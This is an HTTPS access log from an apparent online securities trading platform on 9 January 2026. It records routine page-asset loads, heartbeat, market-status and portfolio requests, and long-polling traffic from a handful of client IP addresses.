[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu_logout.jpg HTTP/1.1" 1016
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 2
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767936651869 HTTP/1.1" 3188
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 118
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 31
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/applet_dummy.html HTTP/1.1" 330
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/multi_currency_balance.html HTTP/1.1" 295
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/PostToAA.jsp?hl=tc HTTP/1.1" 287
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/trade_point01.jpg HTTP/1.1" 358
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_222222_256x240.png HTTP/1.1" 6922
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_flat_75_ffffff_40x100.png HTTP/1.1" 208
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:26:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/getpopupMsgName.jsp HTTP/1.1" -
[09/Jan/2026:13:26:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936661739 HTTP/1.1" -
[09/Jan/2026:13:26:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:26:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:26:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:26:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfo HTTP/1.1" 208
[09/Jan/2026:13:26:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:26:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/account_status.html HTTP/1.1" 426
[09/Jan/2026:13:26:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:26:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:26:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:26:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:26:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LongPollingConfig HTTP/1.1" 4
[09/Jan/2026:13:26:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:26:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936654260 HTTP/1.1" -
[09/Jan/2026:13:26:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1754
[09/Jan/2026:13:26:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936648118 HTTP/1.1" -
[09/Jan/2026:13:26:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936647384 HTTP/1.1" -
[09/Jan/2026:13:26:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:26:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:26:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:26:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:26:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936666762 HTTP/1.1" -
[09/Jan/2026:13:26:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936659294 HTTP/1.1" -
[09/Jan/2026:13:26:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936653171 HTTP/1.1" -
[09/Jan/2026:13:26:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936652494 HTTP/1.1" -
[09/Jan/2026:13:26:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936671791 HTTP/1.1" -
[09/Jan/2026:13:26:28 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936664323 HTTP/1.1" -
[09/Jan/2026:13:26:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936658309 HTTP/1.1" -
[09/Jan/2026:13:26:30 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936657529 HTTP/1.1" -
[09/Jan/2026:13:26:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936676820 HTTP/1.1" -
[09/Jan/2026:13:26:33 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936669390 HTTP/1.1" -
[09/Jan/2026:13:26:34 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:26:34 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:26:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:26:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:26:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:26:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:26:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936663485 HTTP/1.1" -
[09/Jan/2026:13:26:34 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:26:34 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:26:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936662601 HTTP/1.1" -
[09/Jan/2026:13:26:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936681906 HTTP/1.1" -
[09/Jan/2026:13:26:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:26:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:26:39 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936674467 HTTP/1.1" -
[09/Jan/2026:13:26:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936668608 HTTP/1.1" -
[09/Jan/2026:13:26:40 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936667676 HTTP/1.1" -
[09/Jan/2026:13:26:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936686931 HTTP/1.1" -
[09/Jan/2026:13:26:44 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936679558 HTTP/1.1" -
[09/Jan/2026:13:26:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936673661 HTTP/1.1" -
[09/Jan/2026:13:26:45 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936672745 HTTP/1.1" -
[09/Jan/2026:13:26:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:26:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:26:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:26:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:26:47 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936691972 HTTP/1.1" -
[09/Jan/2026:13:26:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:26:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:26:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936684620 HTTP/1.1" -
[09/Jan/2026:13:26:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936678794 HTTP/1.1" -
[09/Jan/2026:13:26:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936677814 HTTP/1.1" -
[09/Jan/2026:13:26:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:26:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:26:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:26:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:26:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936697025 HTTP/1.1" -
[09/Jan/2026:13:26:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936689648 HTTP/1.1" -
[09/Jan/2026:13:26:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936683851 HTTP/1.1" -
[09/Jan/2026:13:26:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936683093 HTTP/1.1" -
[09/Jan/2026:13:26:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936702049 HTTP/1.1" -
[09/Jan/2026:13:26:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:13:26:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:13:26:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:13:26:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:13:26:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:13:26:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:13:26:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:13:26:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:13:26:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:13:26:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:13:26:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
